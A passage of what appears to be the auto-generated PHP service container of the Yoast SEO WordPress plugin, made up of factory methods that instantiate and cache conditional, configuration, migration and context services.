$this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional */ protected function getWPMLConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional */ protected function getWPMLWPSEOConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional */ protected function getUpdatedImporterFrameworkConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] = new \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional */ protected function getUserCanEditUsersConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional */ protected function getUserCanManageWpseoOptionsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional */ protected function getUserCanPublishPostsAndPagesConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\User_Edit_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\User_Edit_Conditional */ protected function getUserEditConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Edit_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\User_Profile_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\User_Profile_Conditional */ protected function getUserProfileConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Profile_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional */ protected function getWPCRONEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\WP_Robots_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\WP_Robots_Conditional */ protected function getWPRobotsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_Robots_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\WP_Tests_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\WP_Tests_Conditional */ protected function getWPTestsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_Tests_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_Tests_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Web_Stories_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Web_Stories_Conditional */ protected function getWebStoriesConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional'] = new \Yoast\WP\SEO\Conditionals\Web_Stories_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional */ protected function getWincherAutomaticallyTrackConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Wincher_Conditional */ protected function getWincherConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional */ protected function getWincherEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional */ protected function getWincherTokenConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional(($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] ?? $this->getWincherClientService())); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\WooCommerce_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional */ protected function getWooCommerceConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\WooCommerce_Version_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\WooCommerce_Version_Conditional */ protected function getWooCommerceVersionConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Version_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Version_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Woo_SEO_Inactive_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Woo_SEO_Inactive_Conditional */ protected function getWooSEOInactiveConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Woo_SEO_Inactive_Conditional'] = new \Yoast\WP\SEO\Conditionals\Woo_SEO_Inactive_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\XMLRPC_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\XMLRPC_Conditional */ protected function getXMLRPCConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional'] = new \Yoast\WP\SEO\Conditionals\XMLRPC_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional */ protected function getYoastAdminAndDashboardConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional */ protected function getYoastToolsPageConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Config\Badge_Group_Names' shared autowired service. * * @return \Yoast\WP\SEO\Config\Badge_Group_Names */ protected function getBadgeGroupNamesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Badge_Group_Names'] = new \Yoast\WP\SEO\Config\Badge_Group_Names(); } /** * Gets the public 'Yoast\WP\SEO\Config\Conflicting_Plugins' shared autowired service. * * @return \Yoast\WP\SEO\Config\Conflicting_Plugins */ protected function getConflictingPluginsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Conflicting_Plugins'] = new \Yoast\WP\SEO\Config\Conflicting_Plugins(); } /** * Gets the public 'Yoast\WP\SEO\Config\Indexing_Reasons' shared autowired service. * * @return \Yoast\WP\SEO\Config\Indexing_Reasons */ protected function getIndexingReasonsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Indexing_Reasons'] = new \Yoast\WP\SEO\Config\Indexing_Reasons(); } /** * Gets the public 'Yoast\WP\SEO\Config\Migration_Status' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migration_Status */ protected function getMigrationStatusService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status(); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddCollationToTables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddCollationToTables */ protected function getAddCollationToTablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables'] = new \Yoast\WP\SEO\Config\Migrations\AddCollationToTables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables */ protected function getAddColumnsToIndexablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime */ protected function getAddEstimatedReadingTimeService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime'] = new \Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn */ protected function getAddHasAncestorsColumnService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn'] = new \Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore */ protected function getAddInclusiveLanguageScoreService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore'] = new \Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex */ protected function getAddIndexableObjectIdAndTypeIndexService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex'] = new \Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables */ protected function getAddIndexesForProminentWordsOnIndexablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps */ protected function getAddObjectTimestampsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps'] = new \Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddSeoLinksIndex' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddSeoLinksIndex */ protected function getAddSeoLinksIndexService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddSeoLinksIndex'] = new \Yoast\WP\SEO\Config\Migrations\AddSeoLinksIndex(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables */ protected function getAddVersionColumnToIndexablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset */ protected function getBreadcrumbTitleAndHierarchyResetService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset'] = new \Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ClearIndexableTables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ClearIndexableTables */ protected function getClearIndexableTablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables'] = new \Yoast\WP\SEO\Config\Migrations\ClearIndexableTables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex */ protected function getCreateIndexableSubpagesIndexService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex'] = new \Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable */ protected function getCreateSEOLinksTableService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable'] = new \Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables */ protected function getDeleteDuplicateIndexablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables'] = new \Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths */ protected function getExpandIndexableColumnLengthsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths */ protected function getExpandIndexableIDColumnLengthsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths */ protected function getExpandPrimaryTermIDColumnLengthsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex */ protected function getReplacePermalinkHashIndexService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex'] = new \Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable */ protected function getResetIndexableHierarchyTableService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable'] = new \Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables */ protected function getTruncateIndexableTablesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables'] = new \Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists */ protected function getWpYoastDropIndexableMetaTableIfExistsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastIndexable' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\WpYoastIndexable */ protected function getWpYoastIndexableService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastIndexable(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy */ protected function getWpYoastIndexableHierarchyService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm' shared autowired service. * * @return \Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm */ protected function getWpYoastPrimaryTermService() { return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm(($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Researcher_Languages' shared autowired service. * * @return \Yoast\WP\SEO\Config\Researcher_Languages */ protected function getResearcherLanguagesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Researcher_Languages'] = new \Yoast\WP\SEO\Config\Researcher_Languages(); } /** * Gets the public 'Yoast\WP\SEO\Config\SEMrush_Client' shared autowired service. * * @return \Yoast\WP\SEO\Config\SEMrush_Client */ protected function getSEMrushClientService() { return $this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] = new \Yoast\WP\SEO\Config\SEMrush_Client(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler()))); } /** * Gets the public 'Yoast\WP\SEO\Config\Schema_IDs' shared autowired service. * * @return \Yoast\WP\SEO\Config\Schema_IDs */ protected function getSchemaIDsService() { return $this->services['Yoast\\WP\\SEO\\Config\\Schema_IDs'] = new \Yoast\WP\SEO\Config\Schema_IDs(); } /** * Gets the public 'Yoast\WP\SEO\Config\Schema_Types' shared autowired service. * * @return \Yoast\WP\SEO\Config\Schema_Types */ protected function getSchemaTypesService() { return $this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] = new \Yoast\WP\SEO\Config\Schema_Types(); } /** * Gets the public 'Yoast\WP\SEO\Config\Wincher_Client' shared autowired service. * * @return \Yoast\WP\SEO\Config\Wincher_Client */ protected function getWincherClientService() { return $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] = new \Yoast\WP\SEO\Config\Wincher_Client(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler()))); } /** * Gets the public 'Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions' shared autowired service. * * @return \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions */ protected function getContentTypeVisibilityWatcherActionsService() { return $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions'] = new \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->privates['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] ?? $this->getContentTypeVisibilityDismissNotificationsService())); } /** * Gets the public 'Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route' shared autowired service. * * @return \Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route */ protected function getContentTypeVisibilityDismissNewRouteService() { return $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route'] = new \Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route(($this->privates['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] ?? $this->getContentTypeVisibilityDismissNotificationsService())); } /** * Gets the public 'Yoast\WP\SEO\Context\Meta_Tags_Context' shared autowired service. * * @return \Yoast\WP\SEO\Context\Meta_Tags_Context */ protected function getMetaTagsContextService() { return $this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] = new \Yoast\WP\SEO\Context\Meta_Tags_Context(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new 